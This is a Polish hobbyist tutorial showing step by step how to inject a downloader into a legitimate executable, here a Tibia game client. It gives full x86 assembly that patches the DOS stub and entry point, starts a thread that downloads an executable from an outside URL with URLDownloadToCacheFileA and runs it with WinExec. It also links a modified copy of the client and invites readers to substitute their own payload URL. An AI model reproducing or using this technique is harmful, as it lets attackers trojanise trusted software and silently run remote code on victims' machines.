pokaze wam jak zbindowac funkcje ktora po uruchomieniu execa sciagnie inny z neta.
Sposob jest bardzo prymitywny, ale dziala. A co najwazniejsze, chce mi sie o tym pisac.
kk
mamy program ktory nic nie robi tylko wyswietla messageboxa:
http://www.haxx123.yoyo.pl/hax.exe
oraz jakis plik ktory go sciagnie i uruchomi, niech to bedzie klient popularnej gry mmo:
http://download.tibia.com/tibia811.exe
ok, deasemblujemy i tak:
mamy wiele opcji, (nie bede opisywal dopisania na koncu sekcji, bo jest ona za mala)
Dopiszemy sie pod dos stuba. I tutaj 1 mnie zastanawia, czy strona pamieci z headerami jest zawsze read&exec?
zapamietac EP = 4098d8h
stub zaczyna sie pod 40h, na poczatek zmien ep na 40h, i pod 40h napisz eb fe. Uruchom. Zalejo caly rdzen? i o to chodzi
next: szukamy loadlibrarya, getprocaddress i createthread. 2 pierwsze sa. ok.
teraz musimy napisac kilka stringow. Gdzie indziej, nie starczy tu miejsca.
ale najpierw, w offsecie 40h proponuje napisac mala procedurke:
push eax ;adres nazwy dll
call dword [0x0040c19c] ;LoadLibraryA
push ebx ;adres nazwy funkcji
push eax
call dword [0x0040c1b8] ;GetProcAddress
ret
i EP na 50h
kk piszemy dalej:
mov eax,0x00400338 ; string kernel32.dll
mov ebx,0x00400350 ; string CreateThread
no i call do procedury 40h
teraz:
xor ebx,ebx
push ebx
push ebx
push ebx
push 0x72004000
push ebx
push ebx
push 0x4098d8
jmp eax
program powinien sie uruchomic normalnie. W adresie watku mozna dac c2 04 00 na razie
teraz piszemy watek:
(warto zauwazyc, iz bez watku program by blokowal zanim plik by sie sciagnal. A to trwa przy waszych progsach w delphi )
mov eax,0x00400345 ;string urlmon.dll
mov ebx,0x0040035d ;string URLDownloadToCacheFileA
no i call do 40h (sami sobie obliczcie ) ff-44+(offset-eb)
sub esp,512
mov ebp,esp
xor ebx,ebx
push ebx
push ebx
push 512
push ebp
push 0x0040037e ;adres pliku exe
push ebx
call eax
sciaglo sie
..albo i nie:
or eax,eax
jnz 00 tego adresu nie znamy, zostawic 00 narazie
teraz uruchamiamy:
mov eax,0x400338 ;kernel32
mov ebx,0x400375 ;WinExec
call procedury z 40h
push 0
push ebp
call eax
add esp,512
ret
prawie koniec, teraz trzeba tylko wyliczyc skok
done!
tak oto mozna dodac bonus do pliku.
ofc robilem to wraz z pisaniem, i mozna to zoptymalizowac. Coz, nie zaplanowalem. Ale za to teraz jest czytelniejszy kod.
http://rapidshare.de/files/39671498/tibia811.exe.html
Obiecuje, ze nie zawiera vira i nie rozwali wam systemu
Zawsze mozna odpalic w sandboxie.
//dla zainteresowanych, mozecie zmienic w hexie sciezke od http na wlasny exec, i tez bedzie dzialac